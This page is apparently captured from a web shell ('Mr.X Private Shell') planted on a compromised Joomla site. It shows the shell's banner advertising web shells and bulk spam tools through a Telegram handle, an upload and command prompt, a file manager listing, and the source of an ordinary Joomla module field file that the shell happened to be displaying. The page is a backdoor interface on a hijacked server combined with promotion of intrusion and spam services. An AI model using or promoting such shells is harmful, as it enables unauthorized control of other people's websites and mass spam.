__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * 
 * @version             See field version manifest file
 * @package             See field name manifest file
 * @author				Gregorio Nuti
 * @copyright			See field copyright manifest file
 * @license             See field name manifest file
 * 
 */

// no direct access
defined('_JEXEC') or die;

// define ds variable for joomla 3 compatibility
if(!defined('DS')) define('DS', DIRECTORY_SEPARATOR);

jimport('joomla.filesystem.file');

class JFormFieldXml extends JFormField {
    
    protected $type = 'Xml';
    
    protected function getInput() {
        
        // General variables
        $uri = JUri::getInstance();
    	$document = JFactory::getDocument();
        $joomlaVersion = JVERSION;
        
        // get the variable from the current url tp execute the update or not
        $execute = $uri->getVar('execute');
        
        // execute the task upon url check
        if ($execute == 'manifestupdate') {
    	
			// change xml structure to make it compatible with joomla 3
			if (!version_compare($joomlaVersion, "4.0.0", ">=")) {
			
				// module folder
				$basePath = str_replace('extras'.DS.'elements', '', dirname(__FILE__)).DS;
		
				// get module manifest file content
				$xmlFile = file_get_contents($basePath.'mod_digi_showcase.xml');
		
				// change the manifest data accordinig to joomla 3 needs
				if ($xmlFile) {
					$xmlFile = str_replace('layout="joomla.form.field.radio.switcher"', 'class="btn-group" layout="joomla.form.field.radio"', $xmlFile);
			
					// mark changes as done
					$changed = true;
				}
		
				// write the manifest data
				if ($xmlFile && $changed) {
					JFile::write($basePath . 'mod_digi_showcase.xml' , $xmlFile);
					
					// redirect to the done url
					$done_url = str_replace('&execute=manifestupdate','&execute=done', $uri);
					header("Location: ".$done_url);
				}
				
			}
		
		} else if ($execute == 'done') {
			
				$message = '<p class="text-center alert alert-success" style="margin-bottom: 25px; margin-top: 25px; padding: 50px;">';
				$message .= JText::_('MOD_DIGI_SHOWCASE_FIELD_UPDATE_XML_DONE_DESC');
				$message .= '</p>';
				return $message;
			
		} else {
			
			// print the button to update the manifest file
			if (!version_compare($joomlaVersion, "4.0.0", ">=")) {
				
				// module folder
				$basePath = str_replace('extras'.DS.'elements', '', dirname(__FILE__)).DS;
		
				// get module manifest file content
				$xmlFile = file_get_contents($basePath.'mod_digi_showcase.xml');
			
				if (strpos($xmlFile, 'layout="joomla.form.field.radio.switcher"') !== false) {
					$update_button = '<p class="text-center alert alert-warning" style="margin-bottom: 25px; margin-top: 25px; padding: 50px;">';
					$update_button .= JText::_('MOD_DIGI_SHOWCASE_FIELD_UPDATE_XML_DESC').'<br /><br />';
					$update_button .= '<a class="btn btn-warning btn-large" href="'.$uri.'&execute=manifestupdate">'.JText::_('MOD_DIGI_SHOWCASE_FIELD_UPDATE_XML_TITLE').'</a>';
					$update_button .= '</p>';
					return $update_button;
				} else {
					return;
				}
				
			}
			
		}
        
    }
}

?>

Filemanager

Name Type Size Permission Actions
asset.php File 1.33 KB 0664
buttons.php File 4.78 KB 0664
digishowcaseadv.php File 5.87 KB 0664
digishowcaseeds.php File 5.37 KB 0664
digishowcasewizard.php File 18.02 KB 0664
digishowcasextd.php File 5.2 KB 0664
donation.php File 7.56 KB 0664
interval.php File 2.68 KB 0664
size.php File 2.81 KB 0664
support.php File 4.39 KB 0664
textareacsv.php File 5.39 KB 0664
xml.php File 3.03 KB 0664
Filemanager